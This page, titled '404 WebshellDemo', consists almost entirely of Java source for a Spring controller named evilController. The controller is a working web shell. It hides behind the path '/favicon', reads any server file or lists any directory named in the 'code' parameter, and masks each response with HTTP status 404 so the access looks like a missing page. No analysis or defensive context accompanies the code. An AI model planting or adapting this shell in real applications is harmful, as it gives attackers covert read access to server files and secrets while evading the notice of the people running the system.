404 WebshellDemo

404 webshell Demo

package controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.PrintWriter;

@Controller
public class evilController {
    @RequestMapping(value = "/favicon")
    public void login(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            String arg0 = request.getParameter("code");
            response.setCharacterEncoding("utf-8");
            response.setContentType("text/html;charset=utf-8");
            PrintWriter writer = response.getWriter();

            if (arg0 != null) {

                File file = new File(arg0);
                if(file.isFile()){
                    FileInputStream InputStream = new FileInputStream(file);
                    int bytes;
                    while ((bytes = InputStream.read()) != -1) {
                        writer.write(bytes);
                    }
                }else{
                    File[] tempList = file.listFiles();
                    for(int i = 0; i < tempList.length; i++){
                        writer.write(tempList[i].getName());
                        writer.write('\n');
                    }
                }

                response.setStatus(404);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
            response.sendError(404);
        }
    }
}